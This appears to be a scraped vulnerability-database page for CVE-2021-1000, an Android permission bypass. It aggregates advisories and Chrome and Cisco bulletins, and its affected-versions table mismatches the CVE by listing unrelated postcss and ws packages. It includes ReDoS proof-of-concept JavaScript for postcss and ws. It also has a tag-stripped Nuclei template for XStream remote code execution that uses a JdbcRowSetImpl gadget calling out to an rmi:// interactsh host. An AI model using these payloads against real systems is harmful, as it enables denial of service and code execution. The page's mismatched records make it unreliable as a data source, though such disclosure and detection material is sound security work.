CVE-2021-1000
published 2022-03-30CVE-2021-1000: In createBluetoothDeviceSlice of ConnectedDevicesSliceProvider.java, there is a possible permission bypass due to an unsafe PendingIntent. This could lead to…
PriorityP339high7.8CVSS 3.1
AVLACLPRLUINSUCHIHAH
EPSS
0.10%
1.1th percentile
In createBluetoothDeviceSlice of ConnectedDevicesSliceProvider.java, there is a possible permission bypass due to an unsafe PendingIntent. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-185190688
Affected
8 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| android | — | — | |
| android | — | — | |
| chrome_chrome | — | — | |
| postcss | postcss | >= 0 < 7.0.36 | 7.0.36 |
| postcss | postcss | >= 8.0.0 < 8.2.13 | 8.2.13 |
| ws_project | ws | >= 5.0.0 < 5.2.3 | 5.2.3 |
| ws_project | ws | >= 6.0.0 < 6.2.2 | 6.2.2 |
| ws_project | ws | >= 7.0.0 < 7.4.6 | 7.4.6 |
CVSS provenance
nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.04.6MEDIUMAV:L/AC:L/Au:N/C:P/I:P/A:P
vendor_cisco6.7MEDIUM
vendor_redhat6.5MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-mj4p-qffj-hfrp: In createBluetoothDeviceSlice of ConnectedDevicesSliceProvider
ghsa_unreviewed·2022-03-31
CVE-2021-1000 [HIGH] CWE-276 GHSA-mj4p-qffj-hfrp: In createBluetoothDeviceSlice of ConnectedDevicesSliceProvider
In createBluetoothDeviceSlice of ConnectedDevicesSliceProvider.java, there is a possible permission bypass due to an unsafe PendingIntent. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-185190688
GHSA
Regular Expression Denial of Service in postcss
ghsa·2022-01-07
CVE-2021-23382 [MEDIUM] CWE-400 Regular Expression Denial of Service in postcss
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
```regex
\/\*\s* sourceMappingURL=(.*)
```
### PoC
```js
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
```
```js
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.leng
GHSA
ReDoS in Sec-Websocket-Protocol header
ghsa·2021-05-28
CVE-2021-32640 [MEDIUM] CWE-345 ReDoS in Sec-Websocket-Protocol header
ReDoS in Sec-Websocket-Protocol header
### Impact
A specially crafted value of the `Sec-Websocket-Protocol` header can be used to significantly slow down a ws server.
### Proof of concept
```js
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
```
### Patches
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff) and backported to [email protected] (https://github.com/websockets/ws/commit/78c676d2a1acefbc05292e9f7ea0a9457704bf1b) and [email protected] (https://github.com/websockets/ws/commit/76d47c147900202
Chrome
Stable Channel Update for Desktop: CVE-2023-1815
vendor_chrome·2023-04-04·CVSS 8.8
CVE-2023-1815 [MEDIUM] Stable Channel Update for Desktop: CVE-2023-1815
Stable Channel Update for Desktop
CVE-2023-1815: Use after free in Networking APIs. Reported by DDV_UA on 2021-12-10 [$1000][ 1413919 ] Medium CVE-2023-1816: Incorrect security UI in Picture In Picture
Reported by NDevTK on 2023-02-08 [$1000][ 1418061 ] Medium CVE-2023-1817: Insufficient policy enforcement in Intents
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2022-3443
vendor_chrome·2022-09-27·CVSS 4.3
CVE-2022-3443 [LOW] Stable Channel Update for Desktop: CVE-2022-3443
Stable Channel Update for Desktop
CVE-2022-3443: Insufficient data validation in File System API. Reported by Maciej Pulikowski and Konrad Chrząszcz on 2021-08-27 [$1000][ 1208439 ] Low CVE-2022-3444: Insufficient data validation in File System API
Reported by Archie Midha & Vallari Sharma on 2021-05-12 [$ 500][ 1349493 ] Low CVE-2022-4911: Insufficient data validation in DevTools
Severity: low
Chrome
Stable Channel Update for Desktop: CVE-2022-1856
vendor_chrome·2022-05-24·CVSS 8.8
CVE-2022-1856 [HIGH] Stable Channel Update for Desktop: CVE-2022-1856
Stable Channel Update for Desktop
CVE-2022-1856: Use after free in User Education. Reported by Nan Wang(@eternalsakura13) and Guang Gong of 360 Alpha Lab on 2022-05-06 [$2000][ 1227995 ] High CVE-2022-1857: Insufficient policy enforcement in File System API
Reported by Daniel Rhea on 2021-07-11 [$1000][ 1314310 ] High CVE-2022-1858: Out of bounds read in DevTools
Severity: high
Chrome
Stable Channel Update for Desktop: CVE-2022-1492
vendor_chrome·2022-04-26·CVSS 6.1
CVE-2022-1492 [MEDIUM] Stable Channel Update for Desktop: CVE-2022-1492
Stable Channel Update for Desktop
CVE-2022-1492: Insufficient data validation in Blink Editing. Reported by Michał Bentkowski of Securitum on 2022-04-11 [$1000][ 1275414 ] Medium CVE-2022-1493: Use after free in Dev Tools
Reported by Zhihua Yao of KunLun Lab on 2021-12-01 [$1000][ 1298122 ] Medium CVE-2022-1494: Insufficient data validation in Trusted Types
Severity: medium
Red Hat
mongodb: Pipeline Stack-based Overflow
vendor_redhat·2022-04-12·CVSS 6.5
CVE-2021-32040 [MEDIUM] CWE-787 mongodb: Pipeline Stack-based Overflow
mongodb: Pipeline Stack-based Overflow
It may be possible to have an extremely long aggregation pipeline in conjunction with a specific stage/operator and cause a stack overflow due to the size of the stack frames used by that stage. If an attacker could cause such an aggregation to occur, they could maliciously crash MongoDB in a DoS attack. This vulnerability affects MongoDB Server v4.4 versions prior to and including 4.4.28, MongoDB Server v5.0 versions prior to 5.0.4 and MongoDB Server v4.2 versions prior to 4.2.16.
Workaround: >= v4.2.16 users and all v4.4 users can add the --setParameter internalPipelineLengthLimit=50 instead of the default 1000 to mongod at startup to prevent a crash.
A flaw was found in MongoDB. This flaw allows an attacker to maliciously crash MongoDB in a denia
Chrome
Stable Channel Update for Desktop: CVE-2022-4922
vendor_chrome·2022-03-01·CVSS 6.5
CVE-2022-4922 [MEDIUM] Stable Channel Update for Desktop: CVE-2022-4922
Stable Channel Update for Desktop
CVE-2022-4922: Inappropriate implementation in Blink. Reported by Thomas Orlita on 2021-10-19 [$1000][ 1283434 ] Medium CVE-2022-0806: Data leak in Canvas
Reported by Paril on 2021-12-31 [$TBD][ 1287364 ] Medium CVE-2022-0807: Inappropriate implementation in Autofill
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2022-0462
vendor_chrome·2022-02-01·CVSS 6.5
CVE-2022-0462 [MEDIUM] Stable Channel Update for Desktop: CVE-2022-0462
Stable Channel Update for Desktop
CVE-2022-0462: Inappropriate implementation in Scroll. Reported by Youssef Sammouda on 2021-11-16 [$1000][ 1268240 ] Medium CVE-2022-0463: Use after free in Accessibility
Reported by Zhihua Yao of KunLun Lab on 2021-11-09 [$1000][ 1270095 ] Medium CVE-2022-0464: Use after free in Accessibility
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2022-0118
vendor_chrome·2022-01-04·CVSS 4.3
CVE-2022-0118 [LOW] Stable Channel Update for Desktop: CVE-2022-0118
Stable Channel Update for Desktop
CVE-2022-0118: Inappropriate implementation in WebShare. Reported by Alesandro Ortiz on 2021-08-11 [$TBD][ 1262953 ] Low CVE-2022-0120: Inappropriate implementation in Passwords
Reported by CHAKRAVARTHI (Ruler96) on 2021-10-25 [$1000][ 1238309 ] Low CVE-2022-4925: Insufficient validation of untrusted input in QUIC
Severity: low
Chrome
Stable Channel Update for Desktop: CVE-2022-0112
vendor_chrome·2022-01-04·CVSS 4.3
CVE-2022-0112 [MEDIUM] Stable Channel Update for Desktop: CVE-2022-0112
Stable Channel Update for Desktop
CVE-2022-0112: Incorrect security UI in Browser UI. Reported by Thomas Orlita on 2021-10-04 [$1000][ 1039885 ] Medium CVE-2022-0113: Inappropriate implementation in Blink
Reported by Luan Herrera (@lbherrera_) on 2020-01-07 [$TBD][ 1267627 ] Medium CVE-2022-0114: Out of bounds memory access in Web Serial
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2021-38017
vendor_chrome·2021-11-15·CVSS 8.8
CVE-2021-38017 [MEDIUM] Stable Channel Update for Desktop: CVE-2021-38017
Stable Channel Update for Desktop
CVE-2021-38017: Insufficient policy enforcement in iframe sandbox. Reported by NDevTK on 2021-10-05 [$2000][ 1197889 ] Medium CVE-2021-38018: Inappropriate implementation in navigation
Reported by Alesandro Ortiz on 2021-04-11 [$1000][ 1251179 ] Medium CVE-2021-38019: Insufficient policy enforcement in CORS
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2021-38020
vendor_chrome·2021-11-15·CVSS 4.3
CVE-2021-38020 [MEDIUM] Stable Channel Update for Desktop: CVE-2021-38020
Stable Channel Update for Desktop
CVE-2021-38020: Insufficient policy enforcement in contacts picker. Reported by Luan Herrera (@lbherrera_) on 2021-10-13 [$500][ 1233375 ] Medium CVE-2021-38021: Inappropriate implementation in referrer
Reported by Prakash (@1lastBr3ath) and Jun Kokatsu on 2021-07-27 [$1000][ 1152952 ] Low CVE-2021-4316: Inappropriate implementation in Cast UI
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2021-37996
vendor_chrome·2021-10-19·CVSS 6.5
CVE-2021-37996 [MEDIUM] Stable Channel Update for Desktop: CVE-2021-37996
Stable Channel Update for Desktop
CVE-2021-37996: Insufficient validation of untrusted input in Downloads. Reported by Anonymous on 2021-08-24 [$3000][ 1100761 ] Low CVE-2021-37994 : Inappropriate implementation in iFrame Sandbox
Reported by David Erceg on 2020-06-30 [$1000][ 1242315 ] Low CVE-2021-37995 : Inappropriate implementation in WebApp Installer
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2021-37958
vendor_chrome·2021-09-21·CVSS 5.4
CVE-2021-37958 [HIGH] Stable Channel Update for Desktop: CVE-2021-37958
Stable Channel Update for Desktop
CVE-2021-37958: Inappropriate implementation in Navigation. Reported by James Lee (@Windowsrcer) on 2021-06-24 [$1000][ 1229625 ] High CVE-2021-37959 : Use after free in Task Manager
Reported by raven (@raid_akame) on 2021-07-15 [$10000][ 1228557 ] Medium CVE-2021-37961 : Use after free in Tab Strip
Severity: high
Chrome
Stable Channel Update for Desktop: CVE-2021-30593
vendor_chrome·2021-08-02·CVSS 8.1
CVE-2021-30593 [HIGH] Stable Channel Update for Desktop: CVE-2021-30593
Stable Channel Update for Desktop
CVE-2021-30593: Out of bounds read in Tab Strip. Reported by David Erceg on 2021-05-16 [$N/A][ 1218468 ] High CVE-2021-30594: Use after free in Page Info UI
Reported by raven (@raid_akame) on 2021-06-10 [$1000][ 1214481 ] Medium CVE-2021-30596: Incorrect security UI in Navigation
Severity: high
Chrome
Stable Channel Update for Desktop: CVE-2021-30538
vendor_chrome·2021-05-25·CVSS 4.3
CVE-2021-30538 [LOW] Stable Channel Update for Desktop: CVE-2021-30538
Stable Channel Update for Desktop
CVE-2021-30538: Insufficient policy enforcement in content security policy. Reported by Tianze Ding (@D1iv3) of Tencent Security Xuanwu Lab on 2020-08-11 [$1000][ 971231 ] Low CVE-2021-30539: Insufficient policy enforcement in content security policy
Reported by unnamed researcher on 2019-06-05 [$500][ 1184147 ] Low CVE-2021-30540: Incorrect security UI in payments
Severity: low
Cisco
Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software for Firepower 1000 and 2100 Series Appliances Command Injection Vulnerability
vendor_cisco·2021-04-28·CVSS 6.7
CVE-2021-1488 [MEDIUM] CWE-77 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software for Firepower 1000 and 2100 Series Appliances Command Injection Vulnerability
Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software for Firepower 1000 and 2100 Series Appliances Command Injection Vulnerability
A vulnerability in the upgrade process of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an authenticated, local attacker to inject commands that could be executed with root privileges on the underlying operating system (OS).
This vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by uploading a crafted upgrade package file to an affected device. A successful exploit could allow the attacker to inject commands that could be executed with root privileges on the underlying OS.
Cisco has released software updates that addre
Cisco
Cisco IOx Application Framework Denial of Service Vulnerability
vendor_cisco·2021-03-24·CVSS 5.3
CVE-2021-1460 [MEDIUM] CWE-400 Cisco IOx Application Framework Denial of Service Vulnerability
Cisco IOx Application Framework Denial of Service Vulnerability
A vulnerability in the Cisco IOx Application Framework of Cisco 809 Industrial Integrated Services Routers (Industrial ISRs), Cisco 829 Industrial ISRs, Cisco CGR 1000 Compute Module, and Cisco IC3000 Industrial Compute Gateway could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.
This vulnerability is due to insufficient error handling during packet processing. An attacker could exploit this vulnerability by sending a high and sustained rate of crafted TCP traffic to the IOx web server on an affected device. A successful exploit could allow the attacker to cause the IOx web server to stop processing requests, resulting in a DoS condition.
Cisco has released softw
Chrome
Stable Channel Update for Desktop: CVE-2021-21182
vendor_chrome·2021-03-02·CVSS 6.5
CVE-2021-21182 [LOW] Stable Channel Update for Desktop: CVE-2021-21182
Stable Channel Update for Desktop
CVE-2021-21182: Insufficient policy enforcement in navigations. Reported by Luan Herrera (@lbherrera_) on 2020-02-05 [$1000][ 1105875 ] Low CVE-2021-21183: Inappropriate implementation in performance APIs
Reported by Takashi Yoneuchi (@y0n3uchy) on 2020-07-15 [$1000][ 1131929 ] Low CVE-2021-21184: Inappropriate implementation in performance APIs
Severity: low
Chrome
Stable Channel Update for Desktop: CVE-2021-21171
vendor_chrome·2021-03-02·CVSS 6.5
CVE-2021-21171 [MEDIUM] Stable Channel Update for Desktop: CVE-2021-21171
Stable Channel Update for Desktop
CVE-2021-21171: Incorrect security UI in TabStrip and Navigation. Reported by Irvan Kurniawan (sourc7) on 2020-11-25 [$1000][ 1150810 ] Medium CVE-2021-21172: Insufficient policy enforcement in File System API
Reported by Maciej Pulikowski on 2020-11-19 [$500][ 1154250 ] Medium CVE-2021-21173: Side-channel information leakage in Network Internals
Severity: medium
Chrome
Stable Channel Update for Desktop: CVE-2021-21152
vendor_chrome·2021-02-16·CVSS 8.8
CVE-2021-21152 [HIGH] Stable Channel Update for Desktop: CVE-2021-21152
Stable Channel Update for Desktop
CVE-2021-21152: Heap buffer overflow in Media. Reported by Anonymous on 2021-01-14 [$1000][ 1155974 ] High CVE-2021-21153: Stack overflow in GPU Process
Reported by Jan Ruge of ERNW GmbH on 2020-12-06 [$TBD][ 1173269 ] High CVE-2021-21154: Heap buffer overflow in Tab Strip
Severity: high
Chrome
Stable Channel Update for Desktop: CVE-2021-21128
vendor_chrome·2021-01-19·CVSS 8.8
CVE-2021-21128 [MEDIUM] Stable Channel Update for Desktop: CVE-2021-21128
Stable Channel Update for Desktop
CVE-2021-21128: Heap buffer overflow in Blink. Reported by Liang Dong on 2020-10-15 [$1000][ 1140403 ] Medium CVE-2021-21129: Insufficient policy enforcement in File System API
Reported by Maciej Pulikowski on 2020-10-20 [$1000][ 1140410 ] Medium CVE-2021-21130: Insufficient policy enforcement in File System API
Severity: medium
Cisco
Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software for Firepower 1000 and 2100 Series Appliances Command Injection Vulnerability
vendor_cisco·CVSS 3.1
CVE-2021-1488 Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software for Firepower 1000 and 2100 Series Appliances Command Injection Vulnerability
CVE-2021-1488: Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software for Firepower 1000 and 2100 Series Appliances Command Injection Vulnerability
A vulnerability in the upgrade process of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an authenticated, local attacker to inject commands that could be executed with root privileges on the underlying operating system (OS). This vulnerability is due to insufficient input validation. An attacker could exploit this vulnerability by uploading a crafted upgrade package file to an affected device. A successful exploit could allow the attacker to inject commands that could be executed with root privileges on the underlying OS. Cisco has released software updat
Cisco
Cisco IOx Application Framework Denial of Service Vulnerability
vendor_cisco·CVSS 3.1
CVE-2021-1460 Cisco IOx Application Framework Denial of Service Vulnerability
CVE-2021-1460: Cisco IOx Application Framework Denial of Service Vulnerability
A vulnerability in the Cisco IOx Application Framework of Cisco 809 Industrial Integrated Services Routers (Industrial ISRs), Cisco 829 Industrial ISRs, Cisco CGR 1000 Compute Module, and Cisco IC3000 Industrial Compute Gateway could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to insufficient error handling during packet processing. An attacker could exploit this vulnerability by sending a high and sustained rate of crafted TCP traffic to the IOx web server on an affected device. A successful exploit could allow the attacker to cause the IOx web server to stop processing requests, resulting in a DoS condition. Cisco has r
No detection rules found.
Nuclei
XStream <1.4.16 - Remote Code Execution
nuclei·CVSS 9.1
CVE-2021-21351 [MEDIUM] XStream <1.4.16 - Remote Code Execution
XStream
ysomap
-10086
false
false
false
false
false
1008
true
1000
0
2
0
0
0
true
1004
false
rmi://{{interactsh-url}}/test
com.sun.rowset.JdbcRowSetImpl
setAutoCommit
boolean
false
false
false
-1
false
false
1
1
false
ysomap
test
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "timestamp"
- "com.thoughtworks.xstream"
condition: or
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 500
# digest: 4a0a0047304502204c4a8b66341a4076b23df776ca5d113607a36cbcd511f692edf2c2b37a48805a022100c4dfc0f9910ceb79ff4ef0f5e9f089d3b725b40fe3d29a7988216aec529085de:922c64590222798bb761d5b6d8e72950
2022-03-30
Published